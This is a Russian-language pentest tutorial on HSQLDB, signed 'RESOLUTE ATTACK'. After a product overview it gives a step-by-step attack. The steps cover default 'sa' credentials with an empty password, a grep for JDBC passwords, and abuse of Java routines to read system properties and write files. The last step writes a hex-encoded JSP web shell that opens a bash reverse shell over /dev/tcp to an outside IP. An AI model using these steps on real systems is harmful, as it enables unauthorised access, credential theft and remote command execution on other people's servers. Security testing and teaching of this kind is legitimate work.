Пентест HSQLDB
RESOLUTE ATTACKВсем привет, сегодня мы познакомимся с базой данных HSQLDB, и посмотрим, как можно проводить пентест данной базы данных.

Основная информация
HSQLDB ( HyperSQL DataBase ) — это современный менеджер реляционных баз данных, который соответствует стандарту SQL: 2011 и спецификациям JDBC 4. Он поддерживает все основные функции и RDBMS. HSQLDB используется для разработки, тестирования и развертывания приложений баз данных.
Главная и уникальная особенность HSQLDB – Стандартное соответствие. Он может предоставлять доступ к базе данных в процессе приложения пользователя, на сервере приложений или в качестве отдельного процесса сервера.

В особенности HSQLDB входят:
1) Использует структуру в памяти для быстрой работы с сервером БД. Он использует постоянство диска в соответствии с гибкостью пользователя, с надежным восстановлением после сбоя.
2) Подходит для бизнес-аналитики, ETL и других приложений, которые обрабатывают большие наборы данных.
3) Имеет широкий спектр вариантов развертывания на предприятии, таких как транзакции XA, источники данных пула соединений и удаленная аутентификация.
4) Написан на языке программирования Java и работает на виртуальной машине Java (JVM). Он поддерживает интерфейс JDBC для доступа к базе данных.
Порт по умолчанию: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
PENTEST HSQLDB
При пентесте данной базы данных стоит обратить внимание на описанные далее пункты, и следовать примерно такому сценарию:
1) Настройки по умолчанию
В начале стоит обратить внимание на то, что данная служба по умолчанию, скорее всего, работает в памяти или привязана к локальному хосту. Если вы его нашли, вероятно, вы воспользовались другим сервисом и хотите повысить привилегии.
Учетные данные по умолчанию обычно sa и имеют пустой пароль.
Если вы воспользовались другой службой, постарайтесь найти возможные учетные данные, используя:
grep -rP 'jdbc:hsqldb.*пароль.*' /path/to/search
2) Сбор информации
Подключитесь к экземпляру БД, загрузив HSQLDB и распаковав файлы hsqldb/lib/hsqldb.jar. Запустите приложение с графическим интерфейсом (eww), используя java -jar hsqldb.jar, и подключитесь к экземпляру , используя обнаруженные/слабые учетные данные.
Обратите внимание, что URL-адрес подключения для удаленной системы будет выглядеть примерно так: jdbc:hsqldb:hsql://ip/DBNAME
Трюки
1) Java Language Routines
Мы можем вызывать статические методы класса Java из HSQLDB, используя подпрограммы языка Java. Обратите внимание, что вызываемый класс должен находиться в пути к классам приложения.
JRT могут быть functions или procedures. Функции можно вызывать с помощью операторов SQL, если метод Java возвращает одну или несколько примитивных переменных, совместимых с SQL. Они вызываются с помощью VALUES инструкции.
Если метод Java, который мы хотим вызвать, возвращает void, нам нужно использовать процедуру, вызываемую оператором CALL.
2) Чтение свойств системы Java
Создать функцию:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Выполнить функцию:
VALUES(getsystemproperty('user.name'))
Также ознакомиться с остальными функциями вы сможете по ссылке.

3) Записать содержимое в файл
Вы можете использовать com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename гаджет Java, расположенный в JDK (автоматически загружаемый в путь к классам приложения), чтобы записывать элементы в шестнадцатеричном кодировании на диск с помощью пользовательской процедуры. Обратите внимание на максимальный размер 1024 байта.
Для создания процедуры используйте:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Выполнение процедуры:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
На этом будем заканчивать, надеюсь эта статья была полезна для Вас. C любовью от RESOLUTE ATTACK!